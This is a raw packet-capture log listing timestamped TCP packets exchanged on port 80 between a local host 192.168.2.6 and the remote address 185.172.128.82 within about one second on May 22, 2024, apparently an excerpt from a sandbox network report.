May 22, 2024 20:06:32.782808065 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.782838106 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.782845974 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.782866955 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.782874107 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.782893896 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.782900095 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.782916069 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.782927990 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.782938004 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.782955885 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.782970905 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.782984018 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.782999992 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.783021927 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.783716917 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.783735991 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.783757925 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.783768892 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.783787966 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.783797026 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.783807039 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.783823967 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.783833981 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.783849955 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.783862114 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.783876896 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.783889055 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.783932924 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.784601927 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.784621000 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.784641981 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.784656048 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.784668922 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.784678936 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.784696102 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.784704924 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.784719944 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.784733057 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.784742117 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.784759045 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.784771919 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.784791946 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.785650969 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.785671949 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.785691023 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.785710096 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.785718918 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.785737038 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.785754919 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.785764933 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.785779953 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.785792112 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.785816908 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.785845995 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.786437988 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.786457062 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.786478043 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.786494017 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.786511898 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.786520958 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.786537886 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.786549091 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.786567926 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.786576986 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.786590099 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.786612988 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.787431002 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.787448883 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.787471056 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.787491083 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.787499905 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.787517071 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.787534952 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.787543058 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.787559032 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.787570000 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.787590981 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.787614107 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.788052082 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.788069963 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.788090944 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.788110971 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.788119078 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.788135052 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.788155079 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.788161993 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.788176060 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.788186073 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.788204908 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.788214922 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.788232088 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.788240910 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.788256884 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.788269043 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.788283110 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.788301945 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.823180914 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.823271036 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.823290110 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.823333979 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.823384047 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.823431969 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.823460102 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.823491096 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.823518991 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.823565006 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.823584080 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.823616982 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.823719025 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.823765039 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.823788881 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.823822021 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.823849916 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.823903084 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.823915958 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.823956966 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.823977947 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.824033022 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.824321032 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.824368954 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.824390888 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.824429035 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.824453115 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.824507952 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.824527025 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.824559927 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.824583054 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.824628115 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.824675083 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.824691057 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.824738026 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.825139999 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.825186968 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.825212002 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.825244904 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.825267076 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.825424910 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.825483084 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.825530052 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.825553894 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.825589895 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.825608015 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.825670004 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.825684071 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.825722933 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.825743914 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.825789928 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.825814962 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.825835943 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.825860023 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.825912952 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.826436996 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.826508999 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.826525927 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.826571941 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.826617002 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.826647997 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.826647997 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.826687098 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.826704979 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.826750040 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.826776981 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.826807976 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.826833010 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.826878071 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.826900959 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.826946020 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.827261925 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.827310085 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.827399015 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.827924013 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.828026056 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.828109026 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.870450020 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.870495081 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.870508909 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.870552063 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.870568991 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.870589972 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.870609999 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.870625019 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.870654106 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.870873928 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.870934010 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.871001959 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.871023893 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.871052980 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.871088028 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.871114969 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.871135950 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.871155977 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.871176004 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.871185064 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.871225119 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.871490955 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.871511936 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.871531010 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.871550083 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.871556997 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.871589899 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.871634960 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.871946096 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.871965885 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.871988058 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.872004032 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.872020960 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.872030020 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.872045994 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.872055054 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.872073889 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.872088909 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.872133970 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.872612000 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.872633934 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.872653008 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.872663021 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.872678995 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.872699976 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.872705936 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.872725010 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.872740984 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.872746944 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.872767925 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.872776985 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.872827053 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.873531103 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.873552084 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.873572111 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.873583078 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.873600006 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.873610020 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.873625994 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.873641968 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.873652935 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.873677015 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.873697996 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.874341965 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.874361038 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.874382973 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.874392033 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.874411106 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.874439955 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.874448061 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.874464035 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.874470949 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.874497890 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.874509096 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.874526024 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.874541044 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.874963045 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.875236034 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.875256062 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.875281096 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.875288010 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.875305891 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.875314951 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.875332117 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.875350952 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.875368118 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.875386000 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.875395060 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.875395060 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.875425100 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.876147985 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.876169920 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.876189947 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.876204014 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.876213074 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.876233101 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.876241922 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.876259089 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.876277924 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.876286983 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.876303911 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.876313925 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.876363993 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.877055883 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.877075911 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.877094984 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.877114058 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.877121925 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.877142906 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.877151966 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.877167940 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.877177954 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.877194881 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.877203941 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.877218962 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.877239943 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.877774000 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.877795935 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.877825975 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.877857924 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.910523891 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.910696983 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.910720110 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.910753965 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.910808086 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.910855055 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.910886049 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.910912991 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.910942078 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.910990000 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.911070108 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.911123037 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.912724018 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.912781000 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.912795067 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.912834883 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.912857056 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.912913084 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.912939072 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.912993908 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.913022995 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.913075924 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.913208961 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.913264990 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.913279057 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.913311005 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.913337946 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.913389921 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.913671017 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.913724899 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.913739920 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.913772106 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.913800001 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.913846016 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.913898945 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.913929939 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.913964987 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.913994074 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.914038897 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.914089918 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.914104939 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.914138079 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.915649891 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.915725946 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.915766954 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.915822029 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.915836096 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.915869951 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.915896893 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.915941954 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.915971041 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.915996075 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.916021109 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.916066885 CEST	80	49708	185.172.128.82	192.168.2.6
